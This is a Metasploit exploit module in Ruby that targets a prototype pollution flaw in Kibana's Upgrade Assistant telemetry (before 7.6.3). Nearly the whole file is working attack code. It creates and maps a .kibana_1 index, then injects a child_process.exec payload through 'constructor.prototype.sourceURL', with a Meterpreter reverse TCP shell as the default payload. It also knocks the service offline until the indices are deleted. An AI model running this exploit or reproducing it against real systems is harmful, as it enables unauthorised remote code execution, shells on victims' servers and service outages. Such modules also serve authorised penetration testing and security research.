##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking # causes service to not respond until cleanup and reboot
  include Msf::Exploit::Remote::HttpClient
  # decided not to use autocheck since it doesn't work for both targets
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Kibana Upgrade Assistant Telemetry Collector Prototype Pollution',
        'Description' => %q{
          Kibana before version 7.6.3 suffers from a prototype pollution bug within the
          Upgrade Assistant. By setting a new constructor.prototype.sourceURL value we're
          able to execute arbitrary code.
          Code execution is possible through two different ways. Either by sending data
          directly to Elastic, or using Kibana to submit the same queries. Either method
          enters the polluted prototype for Kibana to read.
          Kibana will either need to be restarted, or collection happens (unknown time) for
          the payload to execute. Once it does, cleanup must delete the .kibana_1 index
          for Kibana to restart successfully. Once a callback does occur, cleanup will
          happen allowing Kibana to be successfully restarted on next attempt.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # msf module
          'Alex Brasetvik (alexbrasetvik)' # original PoC, analysis
        ],
        'References' => [
          [ 'URL', 'https://hackerone.com/reports/852613'],
        ],
        'Privileged' => false,
        'Arch' => [ ARCH_CMD ],
        'Platform' => [ 'linux' ],
        'Type' => :nix_cmd,
        'DefaultOptions' => {
          'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp',
          'WfsDelay' => 1800 # 30min
        },
        'Targets' => [
          [ 'ELASTIC', {}], # target kibana through a direct elastic connection
          [ 'KIBANA', {}] # target kibana through the dev console to implant elastic data
        ],
        'DisclosureDate' => '2020-04-17',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SERVICE_DOWN], # down until cleanup and reboot
          'Reliability' => [],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )
    register_options(
      [
        Opt::RPORT(9200), # default to elastic port, kibana is 5601
        OptString.new('USERNAME', [ false, 'Elastic User to login with', '']),
        OptString.new('PASSWORD', [ false, 'Elastic Password to login with', '']),
        OptString.new('TARGETURI', [ true, 'The URI of the Kibana/Elastic Application', '/'])
      ]
    )
  end
  # https://stackoverflow.com/a/4899857
  def time_rand(from = Time.local(2020, 6, 28), to = Time.now)
    Time.at(from + rand * (to.to_f - from.to_f)).strftime('%FT%T.000Z')
    # outputs 2020-04-17T20:47:40.800Z format
  end
  # This is how it should be done, but it will crash the session. Leaving here in case someone figures out how to not crash the session
  # it may also only crash when on docker, and may be fine elsewehre. Regardless, good code to not lose just in case.
  def kibana_cleanup
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'api', 'console', 'proxy'),
      'method' => 'POST',
      'headers' => {
        'kbn-xsrf' => @xsrf
      },
      'ctype' => 'application/json',
      'vars_get' => {
        'path' => '.kibana_1', # URI for the elastic request
        'method' => 'DELETE' # method for the elastic query
      }
    )
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
    fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200
  end
  def elastic_cleanup
    request = {
      'uri' => normalize_uri(target_uri.path, '.kibana*'),
      'method' => 'DELETE'
    }
    request['authorization'] = basic_auth(datastore['USERNAME'], datastore['PASSWORD']) if datastore['USERNAME'].present?
    res = send_request_cgi(request)
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
    fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200
  end
  def execute_command
    case target.name
    when 'ELASTIC'
      request = {
        'uri' => normalize_uri(target_uri.path, '.kibana_1', '_doc', 'upgrade-assistant-telemetry:upgrade-assistant-telemetry'),
        'method' => 'PUT',
        'ctype' => 'application/json',
        'data' => telemetry_data.to_json
      }
      request['authorization'] = basic_auth(datastore['USERNAME'], datastore['PASSWORD']) if datastore['USERNAME'].present?
      res = send_request_cgi(request)
    when 'KIBANA'
      res = send_request_cgi(
        'uri' => normalize_uri(target_uri.path, 'api', 'console', 'proxy'),
        'method' => 'POST',
        'headers' => {
          'kbn-xsrf' => @xsrf
        },
        'ctype' => 'application/json',
        'vars_get' => {
          'path' => '.kibana_1/_doc/upgrade-assistant-telemetry:upgrade-assistant-telemetry', # URI for the elastic request
          'method' => 'PUT' # method for the elastic query
        },
        'data' => telemetry_data.to_json
      )
    end
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
    fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 201
  end
  def telemetry_data
    {
      'upgrade-assistant-telemetry' => {
        'ui_open.overview' => 1,
        'ui_open.cluster' => 1,
        'ui_open.indices' => 1,
        'constructor.prototype.sourceURL' => "\u2028\u2029\nglobal.process.mainModule.require('child_process').exec('#{payload.encoded}')"
      },
      'type' => 'upgrade-assistant-telemetry',
      'updated_at' => time_rand
    }
  end
  def kibana_create_index
    # if the index already exists, this will fail which is fine, we just need it to exist.
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'api', 'console', 'proxy'),
      'method' => 'POST',
      'ctype' => 'application/json',
      'headers' => {
        'kbn-xsrf' => @xsrf
      },
      'vars_get' => {
        'path' => '.kibana_1', # URI for the elastic request
        'method' => 'PUT' # method for the elastic query
      }
    )
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
    if res.code == 400
      vprint_status('Index already exists')
      return
    end
    fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200
  end
  def elastic_create_index
    request = {
      'uri' => normalize_uri(target_uri.path, '.kibana_1'),
      'method' => 'PUT'
    }
    request['authorization'] = basic_auth(datastore['USERNAME'], datastore['PASSWORD']) if datastore['USERNAME'].present?
    res = send_request_cgi(request)
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
    if res.code == 400
      vprint_status('Index already exists')
      return
    end
    fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200
  end
  def kibana_send_mapping
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'api', 'console', 'proxy'),
      'method' => 'POST',
      'ctype' => 'application/json',
      'headers' => {
        'kbn-xsrf' => @xsrf
      },
      'vars_get' => {
        'path' => '.kibana_1/_mappings', # URI for the elastic request
        'method' => 'PUT' # method for the elastic query
      },
      'data' => mapping_data.to_json
    )
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
    fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200
  end
  def elastic_send_mapping
    request = {
      'uri' => normalize_uri(target_uri.path, '.kibana_1', '_mappings'),
      'method' => 'PUT',
      'ctype' => 'application/json',
      'data' => mapping_data.to_json
    }
    request['authorization'] = basic_auth(datastore['USERNAME'], datastore['PASSWORD']) if datastore['USERNAME'].present?
    res = send_request_cgi(request)
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
    fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200
  end
  def mapping_data
    {
      'properties' => {
        'upgrade-assistant-telemetry' => {
          'properties' => {
            'constructor' => {
              'properties' => {
                'prototype' => {
                  'properties' => {
                    'sourceURL' => {
                      'type' => 'text',
                      'fields' => {
                        'keyword' => {
                          'type' => 'keyword',
                          'ignore_above' => 256
                        }
                      }
                    }
                  }
                }
              }
            },
            'features' => {
              'properties' => {
                'deprecation_logging' => {
                  'properties' => {
                    'enabled' => {
                      'type' => 'boolean',
                      'null_value' => true
                    }
                  }
                }
              }
            },
            'ui_open' => {
              'properties' => {
                'cluster' => {
                  'type' => 'long',
                  'null_value' => 0
                },
                'indices' => {
                  'type' => 'long',
                  'null_value' => 0
                },
                'overview' => {
                  'type' => 'long',
                  'null_value' => 0
                }
              }
            },
            'ui_reindex' => {
              'properties' => {
                'close' => {
                  'type' => 'long',
                  'null_value' => 0
                },
                'open' => {
                  'type' => 'long',
                  'null_value' => 0
                },
                'start' => {
                  'type' => 'long',
                  'null_value' => 0
                },
                'stop' => {
                  'type' => 'long',
                  'null_value' => 0
                }
              }
            }
          }
        }
      }
    }
  end
  def check
    if target == targets[0] # elastic
      return CheckCode::Unknown('Unable to determine Kibana version from Elastic database')
    end
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'app', 'kibana'),
      'method' => 'GET',
      'keep_cookies' => true
    )
    return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
    return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200
    # this pulls a big JSON blob that we need as it has the version
    unless %r{<kbn-injected-metadata data="([^"]+)"></kbn-injected-metadata>} =~ res.body
      return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version")
    end
    version_json = CGI.unescapeHTML(Regexp.last_match(1))
    begin
      json_body = JSON.parse(version_json)
    rescue JSON::ParserError
      return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version")
    end
    return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version") if json_body['version'].nil?
    @version = json_body['version']
    if Rex::Version.new(@version) < Rex::Version.new('7.6.3')
      return CheckCode::Appears("Exploitable Version Detected: #{@version}")
    end
    CheckCode::Safe("Unexploitable Version Detected: #{@version}")
  end
  def exploit
    @clean = true
    fail_with(Failure::BadConfig, 'A password has been defined without a username') if datastore['USERNAME'].blank? && !datastore['PASSWORD'].blank?
    case target.name
    when 'ELASTIC'
      print_warning('RPORT should most likely be set to 9200 when exploiting the ELASTIC target') if datastore['RPORT'] != 9200
      print_status('Creating index')
      elastic_create_index
      print_status('Sending index map')
      elastic_send_mapping
    when 'KIBANA'
      print_warning('RPORT should most likely be set to 5601 when exploiting the KIBANA target') if datastore['RPORT'] != 5601
      # xsrf for unlicensed kibana seems to just be kibana... at least for 7.6.2
      # https://discuss.elastic.co/t/where-can-i-get-the-correct-kbn-xsrf-value-for-my-plugin-http-requests/158725/3
      @xsrf = 'kibana'
      print_status('Creating index')
      kibana_create_index
      print_status('Sending index map')
      kibana_send_mapping
    end
    print_status('Sending telemetry data with payload')
    execute_command
    print_status("Waiting #{datastore['WfsDelay']} seconds for shell (kibana restart/cleanup)")
  end
  def cleanup
    return unless @clean
    if target.name == 'KIBANA'
      print_error('Cleanup must happen on the Elastic Database for Kibana to start. You need to DELETE /.kibana_1')
      # kibana_cleanup
      return
    end
    print_status('Removing telemetry data to prevent Kibana locking on restart')
    elastic_cleanup
  end
end